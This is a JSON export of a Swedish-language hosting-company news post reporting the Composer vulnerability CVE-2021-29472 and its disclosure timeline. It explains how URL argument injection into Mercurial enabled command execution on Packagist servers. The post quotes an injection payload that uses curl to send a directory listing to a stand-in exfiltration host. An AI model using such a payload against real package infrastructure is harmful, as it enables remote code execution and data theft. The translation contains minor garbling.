{"id":100078,"date":"2021-05-03T10:22:39","date_gmt":"2021-05-03T08:22:39","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist"},"modified":"2021-05-03T10:22:39","modified_gmt":"2021-05-03T08:22:39","slug":"uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sv\/blog\/news\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","title":{"rendered":"S\u00e5rbarhet i paketf\u00f6rvaltaren Composer som kan kompromettera PHP-f\u00f6rvaret Packagist","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

En kritisk s\u00e5rbarhet (CVE-2021-29472) har uppt\u00e4ckts i beroendehanteraren Composer, som till\u00e5ter utf\u00f6rande av godtyckliga kommandon i systemet n\u00e4r ett paket med ett s\u00e4rskilt formaterat URL-v\u00e4rde, som anger adressen f\u00f6r nedladdning av k\u00e4llkoder, behandlas. Problemet manifesterar sig i komponenterna GitDriver, SvnDriver och HgDriver, som anv\u00e4nds n\u00e4r man arbetar med versionshanteringssystemen Git, Subversion och Mercurial. S\u00e5rbarheten har \u00e5tg\u00e4rdats i versionerna Composer 1.10.22 och 2.0.13. <\/p>\n

Det \u00e4r v\u00e4rt att notera att problemet huvudsakligen drabbade det paketf\u00f6rr\u00e5d som som standard anv\u00e4nds i Composer, Packagist, som omfattar 306 000 paket f\u00f6r utvecklare i PHP och betj\u00e4nar mer \u00e4n 1,4 miljarder nedladdningar varje m\u00e5nad. I en f\u00f6rs\u00f6k visades det att om angriparna hade information om problemetcould, skulle de kunna f\u00e5 kontroll \u00f6ver Packagists infrastruktur och avlyssna inloggningsuppgifter eller omdirigera nedladdningar av paket till en extern server, och p\u00e5 s\u00e5 s\u00e4tt leverera varianter av paket med skadliga \u00e4ndringar f\u00f6r att inf\u00f6ra bakd\u00f6rrar vid installationen av beroenden. <\/p>\n

Faran f\u00f6r slutanv\u00e4ndarna begr\u00e4nsas av det faktum att inneh\u00e5llet i composer.json vanligtvis definieras av anv\u00e4ndaren sj\u00e4lv, och l\u00e4nkarna till k\u00e4llkoderna tillhandah\u00e5lls n\u00e4r man kontaktar externa f\u00f6rvar, som vanligtvis \u00e4r p\u00e5litliga. Det st\u00f6rsta slaget drabbade f\u00f6rvaret Packagist.org och tj\u00e4nsten Private Packagist, som anropar Composer med data som inh\u00e4mtats fr\u00e5n anv\u00e4ndarna. Illvilliga akt\u00f6rer kunde utf\u00f6ra sin kod p\u00e5 Packagists servrar genom att placera ett s\u00e4rskilt formaterat paket. <\/p>\n

Packagist-teamet \u00e5tg\u00e4rdade s\u00e5rbarheten inom 12 timmar efter att meddelandet om s\u00e5rbarheten mottogs. Forskare informerade privat Packagists utvecklare den 22 april och samma dag \u00e5tg\u00e4rdades problemet. Den offentliga uppdateringen av Composer med \u00e5tg\u00e4rden av s\u00e5rbarheten publicerades den 27 april, och detaljer avsl\u00f6jades den 28 april. En granskning av loggarna p\u00e5 Packagists servrar visade ingen misst\u00e4nkt aktivitet relaterad till s\u00e5rbarheten. <\/p>\n

Problemet orsakas av ett fel i URL-valideringskoden i roten av composer.json-filen och l\u00e4nkarna f\u00f6r nedladdning av k\u00e4llkoder. Felet har funnits i koden sedan november 2011. P\u00e5 Packagist anv\u00e4nds speciella lager f\u00f6r att m\u00f6jligg\u00f6ra kodnedladdning utan koppling till specifika versionshanteringssystem, som utf\u00f6rs genom anropet \u00abfromShellCommandline\u00bb med \u00f6verf\u00f6ring av kommandoradsargument. Till exempel anropas kommandot \u00abgit ls-remote \u2014heads $URL\u00bb, d\u00e4r URL har bearbetats med metoden \u00abProcessExecutor::escape($url)\u00bb, som skyddar potentiellt farliga konstruktioner, s\u00e5som \u00ab$(…)\u00bb eller \u00ab`…`. <\/p>\n

K\u00e4rnan i problemet \u00e4r att metoden ProcessExecutor::escape inte skyddade sekvensen \u00ab\u2014\u00bb, vilket till\u00e4t att ange vilket till\u00e4ggsparameter som helst i URL:en. Ett s\u00e5dant skydd saknades i drivrutinerna GitDriver.php, SvnDriver.php och HgDriver.php. En attack genom GitDriver.php hindrades av att kommandot \u00abgit ls-remote\u00bb inte st\u00f6dde att ange ytterligare argument efter s\u00f6kv\u00e4gen. En attack p\u00e5 HgDriver.php var m\u00f6jlig genom att \u00f6verf\u00f6ra parametern \u00ab\u2014config\u00bb till verktyget \u00abhq\u00bb, vilket m\u00f6jliggjorde utf\u00f6rande av vilket kommando som helst genom manipulering med inst\u00e4llningen \u00abalias.identify\u00bb. Till exempel, f\u00f6r att ladda ner och k\u00f6ra koden genom att starta verktyget curl kunde man ange: \u2014config=alias.identify=!curl http:\/\/exfiltration-host.tld \u2014data \"$(ls -alh)\" <\/p>\n

Genom att ladda upp ett testpaket med en s\u00e5dan URL p\u00e5 Packagist, bekr\u00e4ftade forskarna att efter uppladdningen till deras server kom en HTTP-f\u00f6rfr\u00e5gan fr\u00e5n en av servrar<\/a> Packagist i AWS, som inneh\u00f6ll en lista \u00f6ver filer i den aktuella katalogen.
\n
K\u00e4lla: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Composer \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-29472), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c URL, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0438\u043c \u0430\u0434\u0440\u0435\u0441 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 \u0442\u0435\u043a\u0441\u0442\u043e\u0432. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 GitDriver, SvnDriver \u0438 HgDriver, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u044b\u0445 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c\u0438 \u0442\u0435\u043a\u0441\u0442\u0430\u043c\u0438 Git, Subversion \u0438 Mercurial. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0445 Composer 1.10.22 \u0438 2.0.13. […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-100078","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47S\u00e5rbarhet i paketf\u00f6rvaltaren Composer som till\u00e5ter kompromiss av PHP-registeret Packagist | ProHoster","description":"En kritisk s\u00e5rbarhet (CVE-2021-29472) har uppt\u00e4ckts i paketf\u00f6rvaltaren Composer, som m\u00f6jligg\u00f6r k\u00f6rning av godtyckliga kommandon i systemet vid behandling av ett paket med ett s\u00e4rskilt formaterat URL-v\u00e4rde, vilket definierar.","canonical_url":"https:\/\/prohoster.info\/sv\/blog\/news\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"sv_SE","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u043c \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 Composer, \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0430\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044e PHP-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f Packagist | ProHoster","og:description":"\u0412 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Composer \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-29472), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c URL, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0438\u043c.","og:url":"https:\/\/prohoster.info\/sv\/blog\/news\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-05-03T08:22:39+00:00","article:modified_time":"2021-05-03T08:22:39+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"100078","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-05-03 08:26:11","updated":"2026-02-09 16:50:51","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/posts\/100078","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/comments?post=100078"}],"version-history":[{"count":1,"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/posts\/100078\/revisions"}],"predecessor-version":[{"id":158822,"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/posts\/100078\/revisions\/158822"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/media?parent=100078"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/categories?post=100078"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/sv\/wp-json\/wp\/v2\/tags?post=100078"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}